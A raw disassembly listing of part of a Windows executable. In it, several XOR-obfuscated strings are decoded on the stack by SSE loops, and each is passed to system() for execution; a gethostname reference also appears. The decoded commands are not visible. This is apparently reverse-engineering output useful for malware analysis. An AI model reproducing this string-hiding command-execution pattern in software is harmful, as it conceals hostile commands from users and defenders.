mov eax, dword [0x1400961b8]
movups xmm0, xmmword [0x140096190]
mov dword [rbp + 0x238], eax
movups xmmword [rbp + 0x210], xmm0
movzx eax, word [0x1400961bc]
movsd xmm0, qword [0x1400961b0]
movups xmm1, xmmword [0x1400961a0]
mov word [rbp + 0x23c], ax
movsd qword [rbp + 0x230], xmm0
movups xmmword [rbp + 0x220], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000e68b
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x214]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000e580
cmp r8d, 0x2e
jge 0x14000e6d3
movsxd rax, r8d
lea r9, [rbp + 0x210]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2e
jl 0x14000e6a0
lea rcx, [rbp + 0x210]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400984d0]
movups xmmword [rbp + 0x9f0], xmm0
movups xmm0, xmmword [0x1400984f0]
movups xmmword [rbp + 0xa10], xmm0
movups xmm0, xmmword [0x140098510]
movups xmm1, xmmword [0x1400984e0]
movups xmmword [rbp + 0xa30], xmm0
movups xmmword [rbp + 0xa00], xmm1
mov eax, dword [0x140098528]
movsd xmm0, qword [0x140098520]
movups xmm1, xmmword [0x140098500]
mov dword [rbp + 0xa48], eax
movsd qword [rbp + 0xa40], xmm0
movups xmmword [rbp + 0xa20], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000e89b
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x9f4]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x14000e790
cmp r8d, 0x5c
jge 0x14000e8e3
movsxd rax, r8d
lea r9, [rbp + 0x9f0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x14000e8b0
lea rcx, [rbp + 0x9f0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x140096340]
movups xmm0, xmmword [0x140096330]
movups xmmword [rbp + 0x990], xmm1
movups xmmword [rbp + 0x980], xmm0
movzx eax, word [0x140096390]
movups xmm1, xmmword [0x140096360]
movups xmm0, xmmword [0x140096350]
mov word [rbp + 0x9e0], ax
movups xmmword [rbp + 0x9b0], xmm1
movups xmmword [rbp + 0x9a0], xmm0
movzx eax, byte [0x140096392]
movups xmm1, xmmword [0x140096380]
movups xmm0, xmmword [0x140096370]
mov byte [rbp + 0x9e2], al
movups xmmword [rbp + 0x9d0], xmm1
movups xmmword [rbp + 0x9c0], xmm0
mov r8d, edi
cmp r14d, 2
jl 0x14000eabb
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x984]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x60
jl 0x14000e9b0
cmp r8d, 0x63
jge 0x14000eb03
movsxd rax, r8d
lea r9, [rbp + 0x980]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x63
jl 0x14000ead0
lea rcx, [rbp + 0x980]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140097250]
movups xmmword [rbp + 0x14a0], xmm0
movups xmm0, xmmword [0x140097270]
movups xmmword [rbp + 0x14c0], xmm0
movups xmm0, xmmword [0x140097290]
movups xmm1, xmmword [0x140097260]
movups xmmword [rbp + 0x14e0], xmm0
movups xmmword [rbp + 0x14b0], xmm1
movsd xmm0, qword [0x1400972a0]
movups xmm1, xmmword [0x140097280]
movsd qword [rbp + 0x14f0], xmm0
movups xmmword [rbp + 0x14d0], xmm1
cmp r14d, 2
jl 0x14000ecb5
movdqa xmm5, xmmword [0x140098ad0]
mov edx, edi
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x14a4]
mov r8d, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x58
jl 0x14000ebb0
jmp 0x14000ecf3
lea r9, [rbp + 0x14a0]
mov r8d, edi
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x58
jl 0x14000ecc0
lea rcx, [rbp + 0x14a0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x1400970a0]
movups xmm0, xmmword [0x140097090]
movups xmmword [rbp + 0x10c0], xmm1
movups xmmword [rbp + 0x10b0], xmm0
movups xmm1, xmmword [0x1400970c0]
movups xmm0, xmmword [0x1400970b0]
movups xmmword [rbp + 0x10e0], xmm1
movups xmmword [rbp + 0x10d0], xmm0
movzx eax, byte [0x1400970f0]
movups xmm1, xmmword [0x1400970e0]
movups xmm0, xmmword [0x1400970d0]
mov byte [rbp + 0x1110], al
movups xmmword [rbp + 0x1100], xmm1
movups xmmword [rbp + 0x10f0], xmm0
mov r8d, edi
cmp r14d, 2
jl 0x14000eebb
movdqa xmm5, xmmword [0x140098ad0]
movdqa xmm4, xmmword [0x140098ef0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140098cc0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999_t]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x10b4]
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140098ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x60
jl 0x14000edb0
cmp r8d, 0x61
jge 0x14000ef03
movsxd rax, r8d
lea r9, [rbp + 0x10b0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x61
jl 0x14000eed0
lea rcx, [rbp + 0x10b0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140097528]
movups xmmword [rbp + 0x3f0], xmm0
movzx eax, word [0x140097560]
movups xmm0, xmmword [0x140097548]
mov word [rbp + 0x428], ax
movups xmmword [rbp + 0x410], xmm0
movzx eax, byte [reloc.WS2_32.dll_gethostname]
movsd xmm0, qword [0x140097558]
movups xmm1, xmmword [0x140097538]
mov byte [rbp + 0x42a], al
movsd qword [rbp + 0x420], xmm0
movups xmmword [rbp + 0x400], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000f0bb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3